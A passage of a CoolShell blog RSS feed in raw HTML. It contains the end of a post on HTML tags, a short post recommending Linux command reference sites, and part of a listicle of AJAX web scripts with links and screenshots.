/>\n这是一个<sub>下标</sub>，这是一个<sup>上标</sup>。</p>\n<pre name=\"code\" class=\"html\">\n这是一个<sub>下标</sub>，这是一个<sup>上标</sup>\n</pre>\n<p><!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px;color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 &#8211; CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n\n<div class=\"wp_rp_wrap  wp_rp_vertical_m\" ><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li ><a href=\"https://coolshell.cn/articles/17634.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2017/01/pretty-code-150x150.gif\" alt=\"Chrome开发者工具的小技巧\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/17634.html\" class=\"wp_rp_title\">Chrome开发者工具的小技巧</a></li><li ><a href=\"https://coolshell.cn/articles/12206.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2014/12/html6-150x150.jpeg\" alt=\"HTML6 展望\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/12206.html\" class=\"wp_rp_title\">HTML6 展望</a></li><li ><a href=\"https://coolshell.cn/articles/9666.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2013/05/Render-Process-150x150.jpg\" alt=\"浏览器的渲染原理简介\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/9666.html\" class=\"wp_rp_title\">浏览器的渲染原理简介</a></li><li ><a href=\"https://coolshell.cn/articles/6840.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2012/03/css-layouts-150x150.gif\" alt=\"CSS 布局:40个教程、技巧、例子和最佳实践\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/6840.html\" class=\"wp_rp_title\">CSS 布局:40个教程、技巧、例子和最佳实践</a></li><li ><a href=\"https://coolshell.cn/articles/5537.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2011/11/stackparts.com_-150x150.png\" alt=\"一些文章资源和趣闻\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/5537.html\" class=\"wp_rp_title\">一些文章资源和趣闻</a></li><li ><a href=\"https://coolshell.cn/articles/5576.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2011/10/00.QuickBasic_PDS_IDE-150x150.png\" alt=\"那些曾伴我走过编程之路的软件\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/5576.html\" class=\"wp_rp_title\">那些曾伴我走过编程之路的软件</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/67.html\">几个你可能从来没有用过的HTML标识</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></content:encoded>\n\t\t\t\t\t\n\t\t\t\t\t<wfw:commentRss>https://coolshell.cn/articles/67.html/feed</wfw:commentRss>\n\t\t\t<slash:comments>4</slash:comments>\n\t\t\n\t\t\n\t\t\t</item>\n\t\t<item>\n\t\t<title>Linux 命令速查</title>\n\t\t<link>https://coolshell.cn/articles/64.html</link>\n\t\t\t\t\t<comments>https://coolshell.cn/articles/64.html#comments</comments>\n\t\t\n\t\t<dc:creator><![CDATA[陈皓]]></dc:creator>\n\t\t<pubDate>Sun, 08 Mar 2009 12:57:41 +0000</pubDate>\n\t\t\t\t<category><![CDATA[Unix/Linux]]></category>\n\t\t<category><![CDATA[操作系统]]></category>\n\t\t<category><![CDATA[Linux]]></category>\n\t\t<guid isPermaLink=\"false\">http://coolshell.cn/?p=64</guid>\n\n\t\t\t\t\t<description><![CDATA[<p>下面两个网站可以方便地检索Linux下的命令及一些用法。我比较喜欢第一个，不仅仅是因为它支持中文，而且他还给所有的命令做了一个分类。而第二个类似于一个速查手册，...</p>\n<p class=\"read-more\"><a class=\"btn btn-default\" href=\"https://coolshell.cn/articles/64.html\"> Read More<span class=\"screen-reader-text\">  Read More</span></a></p>\nThe post <a href=\"https://coolshell.cn/articles/64.html\">Linux 命令速查</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></description>\n\t\t\t\t\t\t\t\t\t\t<content:encoded><![CDATA[<p><script async src=\"https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-3415450859608158\"\n     crossorigin=\"anonymous\"></script>下面两个网站可以方便地检索Linux下的命令及一些用法。我比较喜欢第一个，不仅仅是因为它支持中文，而且他还给所有的命令做了一个分类。而第二个类似于一个速查手册，有些像man手册。</p>\n<p>有些时候，如果知道了命令，用linux下的man手册会显得更加方便，但在Linux下，太多的命令不是我们不会用，而是我们不知道。所以，类别检索就会显得很关键了，这正是我向大家推荐第一个网站的原因。</p>\n<ul>\n<li><a href=\"http://www.linuxcmd.org/cn/\">http://www.linuxcmd.org/cn/</a></li>\n<li><a href=\"http://oreilly.com/linux/command-directory/\">http://oreilly.com/linux/command-directory/</a></li>\n</ul>\n<p><!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px;color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 &#8211; CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n\n<div class=\"wp_rp_wrap  wp_rp_vertical_m\" ><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li ><a href=\"https://coolshell.cn/articles/22320.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2022/12/eBPF-150x150.jpeg\" alt=\"eBPF 介绍\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/22320.html\" class=\"wp_rp_title\">eBPF 介绍</a></li><li ><a href=\"https://coolshell.cn/articles/19219.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2019/03/linux.ninja_-150x150.png\" alt=\"打造高效的工作环境 &#8211; Shell 篇\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/19219.html\" class=\"wp_rp_title\">打造高效的工作环境 &#8211; Shell 篇</a></li><li ><a href=\"https://coolshell.cn/articles/18654.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2018/12/docker-networking-1-150x150.png\" alt=\"记一次Kubernetes/Docker网络排障\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/18654.html\" class=\"wp_rp_title\">记一次Kubernetes/Docker网络排障</a></li><li ><a href=\"https://coolshell.cn/articles/18360.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2018/05/300x262-150x150.jpg\" alt=\"程序员练级攻略（2018)  与我的专栏\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/18360.html\" class=\"wp_rp_title\">程序员练级攻略（2018)  与我的专栏</a></li><li ><a href=\"https://coolshell.cn/articles/17998.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2017/07/systemd-1-150x150.jpeg\" alt=\"Linux PID 1 和 Systemd\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/17998.html\" class=\"wp_rp_title\">Linux PID 1 和 Systemd</a></li><li ><a href=\"https://coolshell.cn/articles/17416.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2016/07/cache-150x150.png\" alt=\"缓存更新的套路\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/17416.html\" class=\"wp_rp_title\">缓存更新的套路</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/64.html\">Linux 命令速查</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></content:encoded>\n\t\t\t\t\t\n\t\t\t\t\t<wfw:commentRss>https://coolshell.cn/articles/64.html/feed</wfw:commentRss>\n\t\t\t<slash:comments>6</slash:comments>\n\t\t\n\t\t\n\t\t\t</item>\n\t\t<item>\n\t\t<title>80个优秀的AJAX方案</title>\n\t\t<link>https://coolshell.cn/articles/57.html</link>\n\t\t\t\t\t<comments>https://coolshell.cn/articles/57.html#comments</comments>\n\t\t\n\t\t<dc:creator><![CDATA[陈皓]]></dc:creator>\n\t\t<pubDate>Sat, 07 Mar 2009 01:20:20 +0000</pubDate>\n\t\t\t\t<category><![CDATA[Ajax开发]]></category>\n\t\t<category><![CDATA[编程语言]]></category>\n\t\t<category><![CDATA[AJAX]]></category>\n\t\t<guid isPermaLink=\"false\">http://coolshell.cn/?p=57</guid>\n\n\t\t\t\t\t<description><![CDATA[<p>Ajax作为一种WEB上的技术，已经广被开发人员接受，在过去的两三年内，互联网上涌现出了很多很多的很有创意的Ajax的解决方案，令人赞叹。这里，介绍了80以上的...</p>\n<p class=\"read-more\"><a class=\"btn btn-default\" href=\"https://coolshell.cn/articles/57.html\"> Read More<span class=\"screen-reader-text\">  Read More</span></a></p>\nThe post <a href=\"https://coolshell.cn/articles/57.html\">80个优秀的AJAX方案</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></description>\n\t\t\t\t\t\t\t\t\t\t<content:encoded><![CDATA[<p><script async src=\"https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-3415450859608158\"\n     crossorigin=\"anonymous\"></script>Ajax作为一种WEB上的技术，已经广被开发人员接受，在过去的两三年内，互联网上涌现出了很多很多的很有创意的Ajax的解决方案，令人赞叹。这里，介绍了80以上的AJAX用法以及其脚本资源，希望对你的开发有帮助。</p>\n<h1><strong>Auto Complete Scripts</strong></h1>\n<p>1. <a href=\"http://www.brandspankingnew.net/archive/2006/08/ajax_auto-suggest_auto-complete.html\" target=\"_blank\">AJAX AutoSuggest</a><br />\n<a href=\"http://www.brandspankingnew.net/archive/2006/08/ajax_auto-suggest_auto-complete.html\"><img decoding=\"async\" loading=\"lazy\" class=\"alignnone size-full wp-image-38\" title=\"ajax-autosuggest1\" src=\"http://delimitdesign.com/wp-content/uploads/2009/02/ajax-autosuggest1.png\" alt=\"\" width=\"400\" height=\"260\" /></a></p>\n<p><span id=\"more-57\"></span></p>\n<p>2. <a href=\"http://demo.script.aculo.us/ajax/autocompleter_customized\" target=\"_blank\">AJAX Autocompleter / script.aculo.us library</a><br />\n<a href=\"http://demo.script.aculo.us/ajax/autocompleter_customized\"><img decoding=\"async\" loading=\"lazy\" class=\"size-full wp-image-37 alignnone\" title=\"ajax-autocompleter-scriptaculous-library\" src=\"http://delimitdesign.com/wp-content/uploads/2009/02/ajax-autocompleter-scriptaculous-library.png\" alt=\"\" width=\"400\" height=\"260\" /></a></p>\n<p>3. <a href=\"http://digitarald.de/playground/auto2.html\" target=\"_blank\">AJAX AutoCompleter</a><br />\n<a href=\"http://digitarald.de/playground/auto2.html\"><img decoding=\"async\" loading=\"lazy\" class=\"size-full wp-image-39 alignnone\" title=\"ajax-autocompleter\" src=\"http://delimitdesign.com/wp-content/uploads/2009/02/ajax-autocompleter.png\" alt=\"\" width=\"400\" height=\"140\" /></a></p>\n<p>4. <a href=\"http://www.roscripts.com/Ajax_autosuggest_autocomplete_from_database-154.html\" target=\"_blank\">Ajax autosuggest/autocomplete from database</a><br />\n<a href=\"http://www.roscripts.com/Ajax_autosuggest_autocomplete_from_database-154.html\"><img decoding=\"async\" loading=\"lazy\" class=\"size-full wp-image-40 alignnone\" title=\"ajax-autosuggest-autocomplete-from-database\" src=\"http://delimitdesign.com/wp-content/uploads/2009/02/ajax-autosuggest-autocomplete-from-database.png\" alt=\"\" width=\"400\" height=\"140\" /></a></p>\n<p>5. <a href=\"http://www.dhtmlgoodies.com/index.html?whichScript=ajax-dynamic-list\" target=\"_blank\">Ajax dynamic list</a><br />\n<a href=\"http://www.dhtmlgoodies.com/index.html?whichScript=ajax-dynamic-list\"><img decoding=\"async\" loading=\"lazy\" class=\"size-full wp-image-41 alignnone\" title=\"ajax-dynamic-list\" src=\"http://delimitdesign.com/wp-content/uploads/2009/02/ajax-dynamic-list.png\" alt=\"\" width=\"401\" height=\"260\" /></a></p>\n<h3><strong>Instant Editor Scripts</strong></h3>\n<p>6. <a href=\"http://www.yvoschaap.com/index.php/weblog/ajax_inline_instant_update_text_20/\" target=\"_blank\">AJAX inline text edit 2.0</a><br />\n<a href=\"http://www.yvoschaap.com/index.php/weblog/ajax_inline_instant_update_text_20/\"><img decoding=\"async\" loading=\"lazy\" class=\"size-full wp-image-42 alignnone\" title=\"ajax-inline-text-edit-20\" src=\"http://delimitdesign.com/wp-content/uploads/2009/02/ajax-inline-text-edit-20.png\" alt=\"\" width=\"400\" height=\"260\" /></a></p>\n<p>7. <a href=\"http://dbachrach.com/blog/2007/01/07/create-flickr-like-editing-fields-using-ajax-css/\" target=\"_blank\">AJAX &amp; CSS Flickr-like Editing Fields</a><br />\n<a href=\"http://dbachrach.com/blog/2007/01/07/create-flickr-like-editing-fields-using-ajax-css/\"><img decoding=\"async\" loading=\"lazy\" class=\"alignnone size-full wp-image-139\" title=\"ajax-css-flickr-like-editing-fields1\" src=\"http://delimitdesign.com/wp-content/uploads/2009/02/ajax-css-flickr-like-editing-fields1.png\" alt=\"\" width=\"400\" height=\"260\" /></a><a href=\"http://delimitdesign.com/wp-content/uploads/2009/02/ajax-css-flickr-like-editing-fields.png\"><br />\n</a></p>\n<p>8. <a href=\"http://www.ideasfreelance.com/lab/instant_edit/\" target=\"_blank\">AJAX Instant Edit</a><br />\n<a href=\"http://www.ideasfreelance.com/lab/instant_edit/\"><img decoding=\"async\" loading=\"lazy\" class=\"size-full wp-image-44 alignnone\" title=\"ajax-instant-edit\" src=\"http://delimitdesign.com/wp-content/uploads/2009/02/ajax-instant-edit.png\" alt=\"\" width=\"400\" height=\"260\" /></a></p>\n<h3><strong>Tab and Menu Scripts</strong></h3>\n<p>9. <a href=\"http://www.smashingmagazine.com/2007/04/18/14-tab-based-inferface-techniques/\" target=\"_blank\">14 Tab-Based Interface Techniques</a><br />\n<a href=\"http://www.smashingmagazine.com/2007/04/18/14-tab-based-inferface-techniques/\"><img decoding=\"async\" loading=\"lazy\" class=\"size-full wp-image-45 alignnone\" title=\"14-tab-based-interface-techniques\" src=\"http://delimitdesign.com/wp-content/uploads/2009/02/14-tab-based-interface-techniques.png\" alt=\"\" width=\"400\" height=\"260\" /></a></p>\n<p>10. <a href=\"http://demos.mootools.net/Accordion\" target=\"_blank\">AJAX Accordion Navigation</a><br />\n<a href=\"http://demos.mootools.net/Accordion\"><img decoding=\"async\" loading=\"lazy\" class=\"size-full wp-image-47 alignnone\" title=\"ajax-accordion-navigation1\" src=\"http://delimitdesign.com/wp-content/uploads/2009/02/ajax-accordion-navigation1.png\" alt=\"\" width=\"400\" height=\"260\" /></a></p>\n<p>11. <a href=\"http://extjs.com/deploy/ext/docs/\" target=\"_blank\">AJAX Dialogs, Menus, Grids, Trees and Views</a><br />\n<a href=\"http://extjs.com/deploy/ext/docs/\"><img decoding=\"async\" loading=\"lazy\" class=\"alignnone size-full wp-image-54\" title=\"ajax-dialogs-menus-grids-trees-and-views\" src=\"http://delimitdesign.com/wp-content/uploads/2009/02/ajax-dialogs-menus-grids-trees-and-views.png\" alt=\"\" width=\"400\" height=\"260\" /></a></p>\n<p>12. <a href=\"http://www.nodetraveller.com/sandbox/moduleTabs/closeable.php\" target=\"_blank\">AJAX Tab Module &#8211; Closeable Implementation</a><br />\n<a href=\"http://www.nodetraveller.com/sandbox/moduleTabs/closeable.php\"><img decoding=\"async\" loading=\"lazy\" class=\"alignnone size-full wp-image-55\" title=\"ajax-tab-module-closeable-implementation\" src=\"http://delimitdesign.com/wp-content/uploads/2009/02/ajax-tab-module-closeable-implementation.png\" alt=\"\" width=\"400\" height=\"197\" /></a></p>\n<p>13. <a href=\"http://www.dynamicdrive.com/dynamicindex17/ajaxtabscontent/\" target=\"_blank\">Ajax Tabs Content</a><br />\n<a href=\"http://www.dynamicdrive.com/dynamicindex17/ajaxtabscontent/\"><img decoding=\"async\" loading=\"lazy\" class=\"alignnone size-full wp-image-56\" title=\"ajax-tabs-content\" src=\"http://delimitdesign.com/wp-content/uploads/2009/02/ajax-tabs-content.png\" alt=\"\" width=\"400\" height=\"206\" /></a></p>\n<p>14. <a href=\"http://www.silverscripting.com/mootabs/\" target=\"_blank\">MooTabs &#8211; Tiny tab class for MooTools</a><br />\n<a href=\"http://www.silverscripting.com/mootabs/\"><img decoding=\"async\" loading=\"lazy\" class=\"alignnone size-full wp-image-57\" title=\"mootabs-tiny-tab-class-for-mootools\" src=\"http://delimitdesign.com/wp-content/uploads/2009/02/mootabs-tiny-tab-class-for-mootools.png\" alt=\"\" width=\"400\" height=\"237\" /></a></p>\n<p>15. <a href=\"http://www.dhtmlgoodies.com/index.html?whichScript=ajax_dynamicArticles\" target=\"_blank\">Dynamically loaded articles</a><br />\n<a href=\"http://www.dhtmlgoodies.com/index.html?whichScript=ajax_dynamicArticles\"><img decoding=\"async\" loading=\"lazy\" class=\"alignnone size-full wp-image-58\" title=\"dynamically-loaded-articles\" src=\"http://delimitdesign.com/wp-content/uploads/2009/02/dynamically-loaded-articles.png\" alt=\"\" width=\"400\" height=\"260\" /></a></p>\n<h3><strong>Calendar/Datetime Scripts</strong></h3>\n<p>16. <a href=\"http://datetime.toolbocks.com/\" target=\"_blank\">AJAX Datetime Toolbocks &#8211; Intuitive Date Input Selection</a><br />\n<a href=\"http://datetime.toolbocks.com/\"><img decoding=\"async\" loading=\"lazy\" class=\"alignnone size-full wp-image-59\" title=\"ajax-datetime-toolbocks-intuitive-date-input-selection\" src=\"http://delimitdesign.com/wp-content/uploads/2009/02/ajax-datetime-toolbocks-intuitive-date-input-selection.jpg\" alt=\"\" width=\"400\" height=\"140\" /></a></p>\n<p>17. <a href=\"http://www.ribosomatic.com/articulos/10-calendarios-con-php-css-y-javascript/\" target=\"_blank\">AJAX Calendars</a><br />\n<a href=\"http://www.ribosomatic.com/articulos/10-calendarios-con-php-css-y-javascript/\"><img decoding=\"async\" loading=\"lazy\" class=\"alignnone size-full wp-image-60\" title=\"ajax-calendars\" src=\"http://delimitdesign.com/wp-content/uploads/2009/02/ajax-calendars.jpg\" alt=\"\" width=\"400\" height=\"261\" /></a></p>\n<h3><strong>Interactive Elements Scripts</strong></h3>\n<p>18. <a href=\"http://prototype-window.xilinus.com/\" target=\"_blank\">AJAX Floating Windows</a><br />\n<a href=\"http://prototype-window.xilinus.com/\"><img decoding=\"async\" loading=\"lazy\" class=\"alignnone size-full wp-image-61\" title=\"ajax-floating-windows\" src=\"http://delimitdesign.com/wp-content/uploads/2009/02/ajax-floating-windows.png\" alt=\"\" width=\"400\" height=\"260\" /></a></p>\n<p>19. <a href=\"http://prototype-window.xilinus.com/\" target=\"_blank\">AJAX Star Rating Bar</a><br />\n<a href=\"http://delimitdesign.com/wp-content/uploads/2009/02/ajax-star-rating-bar.png\"><img decoding=\"async\" loading=\"lazy\" class=\"alignnone size-full wp-image-62\" title=\"ajax-star-rating-bar\" src=\"http://delimitdesign.com/wp-content/uploads/2009/02/ajax-star-rating-bar.png\" alt=\"\" width=\"400\" height=\"260\" /></a></p>\n<p>20. <a href=\"http://www.dhtmlgoodies.com/index.html?whichScript=ajax-poller\" target=\"_blank\">Ajax poller</a><br />\n<a href=\"http://www.dhtmlgoodies.com/index.html?whichScript=ajax-poller\"><img decoding=\"async\" loading=\"lazy\" class=\"alignnone size-full wp-image-140\" title=\"ajax-poller1\" src=\"http://delimitdesign.com/wp-content/uploads/2009/02/ajax-poller1.png\" alt=\"\" width=\"400\" height=\"260\" /></a><a href=\"http://delimitdesign.com/wp-content/uploads/2009/02/ajax-poller.png\"></a></p>\n<h3><strong>Developer’s Suite Scripts</strong></h3>\n<p>21. <a href=\"http://digitarald.de/project/historymanager/\" target=\"_blank\">AJAX HistoryManager, Pagination</a><br />\n<a href=\"http://digitarald.de/project/historymanager/\"><img decoding=\"async\" loading=\"lazy\" class=\"alignnone size-full wp-image-64\" title=\"ajax-historymanager-pagination\" src=\"http://delimitdesign.com/wp-content/uploads/2009/02/ajax-historymanager-pagination.png\" alt=\"\" width=\"400\" height=\"204\" /></a></p>\n<p>22. <a href=\"http://www.jamesdam.com/ajax_login/login.html\" target=\"_blank\">AJAX Login System Demo</a><br />\n<a href=\"http://www.jamesdam.com/ajax_login/login.html\"><img decoding=\"async\" loading=\"lazy\" class=\"alignnone size-full wp-image-65\" title=\"ajax-login-system-demo\" src=\"http://delimitdesign.com/wp-content/uploads/2009/02/ajax-login-system-demo.png\" alt=\"\" width=\"400\" height=\"260\" /></a></p>\n<p>23. <a href=\"http://www.roscripts.com/Javascript_image_preloader-111.html\" target=\"_blank\">AJAX image preloader</a><br />\n<a href=\"http://www.roscripts.com/Javascript_image_preloader-111.html\"><img decoding=\"async\" loading=\"lazy\" class=\"alignnone size-full wp-image-141\" title=\"ajax-image-preloader\" src=\"http://delimitdesign.com/wp-content/uploads/2009/02/ajax-image-preloader1.png\" alt=\"\" width=\"400\" height=\"130\" /></a><a href=\"http://delimitdesign.com/wp-content/uploads/2009/02/ajax-image-preloader.png\"><br />\n</a></p>\n<p>24. <a href=\"http://www.1976design.com/blog/archive/2003/11/21/nice-titles/\" target=\"_blank\">AJAX Tooltips: Nice Titles revised | Blog | 1976design.com</a><br />\n<a href=\"http://www.1976design.com/blog/archive/2003/11/21/nice-titles/\"><img decoding=\"async\" loading=\"lazy\" class=\"alignnone size-full wp-image-142\" title=\"ajax-tooltips-nice-titles-revised-blog-1976design\" src=\"http://delimitdesign.com/wp-content/uploads/2009/02/ajax-tooltips-nice-titles-revised-blog-1976design1.gif\" alt=\"\" width=\"400\" height=\"157\" /></a><a href=\"http://delimitdesign.com/wp-content/uploads/2009/02/ajax-tooltips-nice-titles-revised-blog-1976design.gif\"></a></p>\n<p>25. <a href=\"http://www.1976design.com/blog/archive/2003/11/21/nice-titles/\" target=\"_blank\">40+ Tooltips Scripts With AJAX, JavaScript &amp; CSS | Smashing Magazine</a><br />\n<a href=\"http://delimitdesign.com/wp-content/uploads/2009/02/40-tooltips-scripts-with-ajax-javascript-css-smashing-magazine.png\"><img decoding=\"async\" loading=\"lazy\" class=\"alignnone size-full wp-image-70\" title=\"40-tooltips-scripts-with-ajax-javascript-css-smashing-magazine\" src=\"http://delimitdesign.com/wp-content/uploads/2009/02/40-tooltips-scripts-with-ajax-javascript-css-smashing-magazine.png\" alt=\"\" width=\"400\" height=\"260\" /></a></p>\n<p>26. <a href=\"http://www.mathertel.de/AJAXEngine/S03_AJAXControls/ConnectionsTestPage.aspx\" target=\"_blank\">AJAX Web Controls</a><br />\n<a href=\"http://www.mathertel.de/AJAXEngine/S03_AJAXControls/ConnectionsTestPage.aspx\"><img decoding=\"async\" loading=\"lazy\" class=\"alignnone size-full wp-image-71\" title=\"ajax-web-controls\" src=\"http://delimitdesign.com/wp-content/uploads/2009/02/ajax-web-controls.png\" alt=\"\" width=\"400\" height=\"260\" /></a></p>\n<p>27. <a href=\"http://code.google.com/p/syntaxhighlighter/\" target=\"_blank\">AJAX syntaxhighlighter</a><br />\n<a href=\"http://code.google.com/p/syntaxhighlighter/\"><img decoding=\"async\" loading=\"lazy\" class=\"alignnone size-full wp-image-72\" title=\"ajax-syntaxhighlighter\" src=\"http://delimitdesign.com/wp-content/uploads/2009/02/ajax-syntaxhighlighter.png\" alt=\"\" width=\"400\" height=\"260\" /></a></p>\n<p>28. <a href=\"http://transparent-message.xilinus.com/\" target=\"_blank\">Transparent Message</a><br />\n<a href=\"http://transparent-message.xilinus.com/\"><img decoding=\"async\" loading=\"lazy\" class=\"alignnone size-full wp-image-74\" title=\"transparent-message\" src=\"http://delimitdesign.com/wp-content/uploads/2009/02/transparent-message.png\" alt=\"\" width=\"400\" height=\"222\" /></a></p>\n<p>29. <a href=\"http://wildbit.com/demos/modalbox/\" target=\"_blank\">ModalBox — An easy way to create popups and wizards</a><br />\n<a href=\"http://wildbit.com/demos/modalbox/\"><img decoding=\"async\" loading=\"lazy\" class=\"alignnone size-full wp-image-75\" title=\"modalbox-e28094-an-easy-way-to-create-popups-and-wizards\" src=\"http://delimitdesign.com/wp-content/uploads/2009/02/modalbox-e28094-an-easy-way-to-create-popups-and-wizards.png\" alt=\"\" width=\"399\" height=\"260\" /></a></p>\n<p>30. <a href=\"http://www.dhtmlgoodies.com/index.html?whichScript=ajax_chained_select\" target=\"_blank\">Chained select boxes</a><br />\n<a href=\"http://www.dhtmlgoodies.com/index.html?whichScript=ajax_chained_select\"><img decoding=\"async\" loading=\"lazy\" class=\"alignnone size-full wp-image-76\" title=\"chained-select-boxes\" src=\"http://delimitdesign.com/wp-content/uploads/2009/02/chained-select-boxes.png\" alt=\"\" width=\"400\" height=\"194\" /></a></p>\n<p>31. <a href=\"http://www.dhtmlgoodies.com/index.html?whichScript=fly-to-basket\" target=\"_blank\">Fly to basket</a><br />\n<a href=\"http://www.dhtmlgoodies.com/index.html?whichScript=fly-to-basket\"><img decoding=\"async\" loading=\"lazy\" class=\"alignnone size-full wp-image-77\" title=\"fly-to-basket\" src=\"http://delimitdesign.com/wp-content/uploads/2009/02/fly-to-basket.png\" alt=\"\" width=\"400\" height=\"260\" /></a></p>\n<p>32. <a href=\"http://www.mochikit.com/examples/key_events/index.html\" target=\"_blank\">AJAX Key Events Signal</a><br />\n<a href=\"http://www.mochikit.com/examples/key_events/index.html\"><img decoding=\"async\" loading=\"lazy\" class=\"alignnone size-full wp-image-81\" title=\"ajax-key-events-signal\" src=\"http://delimitdesign.com/wp-content/uploads/2009/02/ajax-key-events-signal.png\" alt=\"\" width=\"400\" height=\"217\" /></a></p>\n<p>33. <a href=\"http://www.arraystudio.com/as-workshop/disable-form-submit-on-enter-keypress.html\" target=\"_blank\">Disable form submit on enter keypress</a><br />\n<a href=\"http://www.arraystudio.com/as-workshop/disable-form-submit-on-enter-keypress.html\"><img decoding=\"async\" loading=\"lazy\" class=\"alignnone size-full wp-image-82\" title=\"disable-form-submit-on-enter-keypress\" src=\"http://delimitdesign.com/wp-content/uploads/2009/02/disable-form-submit-on-enter-keypress.png\" alt=\"\" width=\"400\" height=\"260\" /></a></p>\n<h3><strong>Enhanced Solutions</strong></h3>\n<p>34. <a href=\"http://www.openrico.org/demos/complex_ajax\" target=\"_blank\">AJAX Instant Completion</a><br />\n<a href=\"http://www.openrico.org/demos/complex_ajax\"><img decoding=\"async\" loading=\"lazy\" class=\"alignnone size-full wp-image-83\" title=\"ajax-instant-completion\" src=\"http://delimitdesign.com/wp-content/uploads/2009/02/ajax-instant-completion.png\" alt=\"\" width=\"400\" height=\"260\" /></a></p>\n<p>35. <a href=\"http://novemberborn.net/javascript/event-cache\" target=\"_blank\">Novemberborn: Event Cache</a><br />\n<a href=\"http://novemberborn.net/javascript/event-cache\"><img decoding=\"async\" loading=\"lazy\" class=\"alignnone size-full wp-image-84\" title=\"novemberborn-event-cache\" src=\"http://delimitdesign.com/wp-content/uploads/2009/02/novemberborn-event-cache.png\" alt=\"\" width=\"400\" height=\"260\" /></a></p>\n<p>36. <a href=\"http://www.shawnolson.net/a/503/altering-css-class-attributes-with-javascript.html\" target=\"_blank\">Altering CSS Class Attributes with JavaScript</a><br />\n<a href=\"http://www.shawnolson.net/a/503/altering-css-class-attributes-with-javascript.htm\"><img decoding=\"async\" loading=\"lazy\" class=\"alignnone size-full wp-image-85\" title=\"altering-css-class-attributes-with-javascript\" src=\"http://delimitdesign.com/wp-content/uploads/2009/02/altering-css-class-attributes-with-javascript.png\" alt=\"\" width=\"400\" height=\"136\" /></a></p>\n<p>37. <a href=\"http://www.shawnolson.net/a/1302/select-some-checkboxes-javascript-function.html\" target=\"_blank\">Select Some Checkboxes JavaScript Function</a><br />\n<a href=\"http://www.shawnolson.net/a/1302/select-some-checkboxes-javascript-function.html\"><img decoding=\"async\" loading=\"lazy\" class=\"alignnone size-full wp-image-86\" title=\"select-some-checkboxes-javascript-function\" src=\"http://delimitdesign.com/wp-content/uploads/2009/02/select-some-checkboxes-javascript-function.png\" alt=\"\" width=\"400\" height=\"214\" /></a></p>\n<p>38. <a href=\"http://www.ejschart.com/index.php\" target=\"_blank\">AJAX Emprise Charts</a><br />\n<a href=\"http://www.ejschart.com/index.php\"><img decoding=\"async\" loading=\"lazy\" class=\"alignnone size-full wp-image-87\" title=\"ajax-emprise-charts\" src=\"http://delimitdesign.com/wp-content/uploads/2009/02/ajax-emprise-charts.png\" alt=\"\" width=\"401\" height=\"262\" /></a></p>\n<p>39. <a 